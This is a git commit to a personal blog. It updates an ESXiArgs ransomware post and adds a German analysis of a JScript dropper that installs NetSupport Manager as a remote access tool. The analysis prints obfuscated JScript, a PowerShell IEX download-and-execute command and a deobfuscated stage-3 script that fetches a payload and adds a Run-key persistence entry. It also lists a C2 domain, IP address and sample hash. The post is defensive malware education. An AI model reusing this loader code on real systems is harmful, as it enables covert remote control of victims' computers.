added updates to two blog entries
parent
c72159f148
commit
a9350051c4
2
Makefile
2
Makefile
|
@ -13,7 +13,7 @@ nopub: hugo container
|
|||
podman run --rm -p8080:80 docker.io/jmbitci/www-jmbit-de
|
||||
|
||||
rollout:
|
||||
kubectl rollout restart deployment www-jmbit-de -n jmbit-web
|
||||
kubectl --context=jmbit-prod rollout restart deployment www-jmbit-de -n jmbit-web
|
||||
|
||||
clean:
|
||||
rm -rf public
|
||||
|
|
|
@ -5,7 +5,9 @@ author: Johannes Bülow
|
|||
draft: false
|
||||
---
|
||||
|
||||
## UPDATE: Mittlerweile ist eine neue Variante im Umlauf, die vmdks unwiederruflich verschlüsselt!
|
||||
| UPDATE |
|
||||
|----------------------------------------------------------------------------------------|
|
||||
|Mittlerweile ist eine neue Variante im Umlauf, die vmdks unwiederruflich verschlüsselt! |
|
||||
|
||||
ESXiArgs ist eine vermutlich neue Ransomware-Familie, die ESXi-Server angreift und darauf laufende VMs (teilweise)
|
||||
verschlüsselt. Der wahrscheinlichste Angriffsvektor ist derzeit
|
||||
|
|
|
@ -0,0 +1,126 @@
|
|||
---
|
||||
title: "JScript delivered RAT"
|
||||
date: 2023-04-28
|
||||
draft: false
|
||||
---
|
||||
|
||||
# *DISCLAIMER*
|
||||
**Das Herunterladen und ausführen von Malware, auch zum Zwecke der Analyse, ist gefährlich. Ich übernehme
|
||||
keinerlei Haftung für etwaige Schäden bei Nachahmung!**
|
||||
|
||||
| UPDATE |
|
||||
|-------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| Neuere Varianten dieser Malware verteilen nicht direkt die jscript-Datei, sondern eine HTML-Datei, die im Javascript erst eine Zip mit dieser JScript-Datei baut! |
|
||||
|
||||
## Einführung
|
||||
In diesem Blogeintrag möchte ich einen kleinen Einblick in die Analyse bzw. das reverse-eingineering von Malware geben.
|
||||
Hier anhand einer Beispielmalware, die über Mehrere Stufen letztendlich "NetSupport Manager" als Remote Access Tool
|
||||
(RAT) installiert.
|
||||
|
||||
Auf den ersten Blick scheint die Datei vergleichsweise harmlos, insbesondere wenn man z.B. in Windows nicht aktiviert
|
||||
hat, dass der Dateiname vollständig (inkl. Endung) angezeigt wird.
|
||||
![Screenshot der Dateivorschau](/img/blog/Screenshot_from_2023-04_28-08-50-24.png)
|
||||
|
||||
Sollte ein Windows-User die Datei zum öffnen Doppelklicken, wird sie, statt wie zu erwarten im konfigurierten PDF-Viewer
|
||||
angezeigt zu werden, vom [Windows Script Host](https://de.wikipedia.org/wiki/Windows_Script_Host) mithilfe dessen
|
||||
JScript-Engine ausgeführt.
|
||||
|
||||
## Stage 1
|
||||
Die initial heruntergeladene Datei ist sehr stark [Obfuscated](https://de.wikipedia.org/wiki/Obfuskation), was das
|
||||
Reverse engineering deutlich erschwert. Ein relativ einfacher Trick ist hier jedoch, die eigentlichen Aufrufe, die die
|
||||
nächste Stage herunterladen wollen, so umzubauen, dass sie statt dem eigentlichen Aufruf jediglich den entsprechenden
|
||||
Code ausgeben:
|
||||
|
||||
```js
|
||||
LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk'));
|
||||
FNwMBmgDjPdaInUxO[V1(0x39, 'bmzj')](V3(0x85, 'KWPY')) == ![] && CkMPuJXlbEaniIF[V3(0xac, 'ClZu')](PoHdrRpqKNwXVGyEDMO, V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0);
|
||||
```
|
||||
_Hier erstellt die Malware ein ActiveXObjekt mit der nächsten Stufe und führt diese aus._
|
||||
|
||||
```js
|
||||
LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk'));
|
||||
console.log(FNwMBmgDjPdaInUxO + V1(0x39, 'bmzj') + V3(0x85, 'KWPY')) ;
|
||||
console.log(CkMPuJXlbEaniIF + V3(0xac, 'ClZu') )
|
||||
console.log(PoHdrRpqKNwXVGyEDMO + V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0);
|
||||
```
|
||||
_Der gleiche Teil des Codes, aber entschärft und mit print-Statements. Das "ActiveXObject" ist jetzt eine einfache
|
||||
Klasse mit String dahinter._
|
||||
|
||||
Wenn man diesen Code dann mithilfe von NodeJS ausführt, erhält man den folgenden Output:
|
||||
|
||||
```
|
||||
remnux@remnux:~/Analysis/nitrogen-diet-florida-monkey$ node nitrogen-diet-florida-monkey.js
|
||||
ShElL.APPlIcatioN
|
||||
scriptIng.fIlesysTemobjeCt
|
||||
[object Object]FolderExistsC:\userss
|
||||
[object Object]ShellExecute
|
||||
cmd/C POwerShElL -nop -w hidden -ep bypass -enc <BASE64String> oPen 0
|
||||
```
|
||||
|
||||
der Base64 kodierte String enthält diesen Powershellbefehl, der die nächste Stufe der Malware herunterlädt.
|
||||
```powershell
|
||||
IEX (New-Object Net.Webclient).downloadstring("<STAGE3URL>")
|
||||
```
|
||||
|
||||
## Stage 3
|
||||
|
||||
Stufe 3 der Malware ist ein Powershell-Skript, das auch wieder obfuskiert ist, z.B. durch seltsame Groß/Kleinschreibung,
|
||||
String-Formatierung und großzügig verteilten \`, die in Powershell als Escape verwendet werden (im Gegensatz zu den
|
||||
meisten anderen Sprachen, die \\ verwenden). Zudem wurde der gesamte Code in eine Zeile geschrieben.
|
||||
|
||||
```powershell
|
||||
{rn`UM}=&("{2}{0}{1}"-f 'and','om','Get-R') -minimum 5 -maximum 9; ${r`Rn`UM}=&("{3}{2}{0}{1}"-f 'Rand','om','-','Get') -minimum 1024 -maximum 9999; ${CH`Rs}=("{8}{9}{6}{2}{10}{11}{12}{0}{14}{4}{13}{5}{3}{7}{1}" -f 'D','PRSTUVWXYZ','pstuvw','KLM','F','J','mno','NO','abcdefghi','jkl','x','yz','ABC','GHI','E'); ${R`STR}=''; ${r`An}=.("{0}{1}{2}{3}" -f'New-O','bje','c','t') ("{1}{0}{3}{2}"-f 'm.Ra','Syste','m','ndo');
|
||||
```
|
||||
_Ausschnitt aus dem Originalcode_
|
||||
|
||||
```powershell
|
||||
#!/usr/bin/env pwsh
|
||||
|
||||
&('cd') ${ENV:appdata}
|
||||
${link} = "https://<payloadurl>/wp-content/plugins/giveme.php"
|
||||
${rnum} = 5
|
||||
${rrnum} = 1337
|
||||
${chrs} = "abcdefghijklmnopstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ"
|
||||
${rstr} = ''
|
||||
${ran} = .(New-Object System.Random)
|
||||
for (${i} = 0
|
||||
${i} -lt ${r`NuM}
|
||||
${I}++) { ${rstr} += ${chrs}[${ran}.next.Invoke(0, ${chrs}."length")] }
|
||||
${rzip} = ${rstr} + ".zip"
|
||||
${path} = ${ENV:`APPDATA} + '\' + ${rzip}
|
||||
${pzip} = ${ENV: APPDATA} + "\ONEN0TEupdate_"
|
||||
write-host (Start-Bitstransfer) -Source ${link} -Destination ${path}
|
||||
&(Expand-Archive -path ${path} -destinationpath ${pzip})
|
||||
${fold} = &(Get-Item) ${pzip} -Force
|
||||
${fold}.Attributes = Hidden
|
||||
&(Remove-Item) -path ${path}
|
||||
&('cd') ${pzip}
|
||||
Write-Output Start client32.exe
|
||||
${fstr} = ${ENV:appdata} + ".\ONEN0TEupdate_1337\client32.exe"
|
||||
${rnm} = ONEN0TEupdate_1337
|
||||
Write-Output New-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name ONEN0TEupdate_1337 -Value ${fstr} -PropertyType String
|
||||
|
||||
```
|
||||
_Stage3, aufgeräumt und vereinfacht_
|
||||
|
||||
Stufe 3 ist die Stufe, die letztendlich die eigentliche Payload herunterlädt. sowie einen Autostart-Registrykey
|
||||
erstellt.
|
||||
Bei der Payload handelt es sich um eine vorkonfigurierte Version von NetSupport Manager, die sich mit dem C2-Server
|
||||
verbindet.
|
||||
|
||||
## IOCs
|
||||
|
||||
### C2-Server
|
||||
* blahadfurtik.com:5222 (IP: 89.22.237.94 )
|
||||
|
||||
### Lokal/Filesystem
|
||||
* Ordner mit dem Namen "ONEN0TEupdate\_XXXX" in `C:/Users/<USER>/AppData/Roaming/`
|
||||
* Registry-Key unter `HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` mit dem gleichen Namen wie der Ordner in
|
||||
Appdata und zu client32.exe in diesem zeigend
|
||||
|
||||
|
||||
|
||||
|
||||
-----------
|
||||
Verwendetes Sample: SHA256:00d87e984f0fcd2e8fb55e4b83d86027dac67fd073958a95cbc98961ab940f4b
|
||||
Quelle: bazaar.abuse.ch
|
|
@ -0,0 +1,17 @@
|
|||
---
|
||||
title: "Netxcloud"
|
||||
date: 2023-05-01T18:06:16+02:00
|
||||
draft: true
|
||||
---
|
||||
|
||||
Nextcloud ist vor allem bekannt dafür, als Alternative zu SAAS-Produkten wie Dropbox, Google Drive,
|
||||
Onedrive und Co. zu dienen. Allerdings gibt es mittlerweile einige Features mehr als nur reines Filesharing. Nextcloud
|
||||
kann mit Nextcloud Hub auch zu einer vollwertigen Collaboraition-Suite verwandelt werden. Hier wird das
|
||||
Filesharing/Management um Chat, Video- und Audiokonferenzen, Email-Client, Kalender, Office, Kontaktverwaltung,
|
||||
Taskmanagement und mehr erweitert
|
||||
werden. Zusätzlich gibt es viele zusätzliche Apps, mit denen Nextcloud erweitert werden kann.
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- vim: set wrap linebreak textwidth=120 cc=120 : -->
|
Binary file not shown.
After Width: | Height: | Size: 14 KiB |
Loading…
Reference in New Issue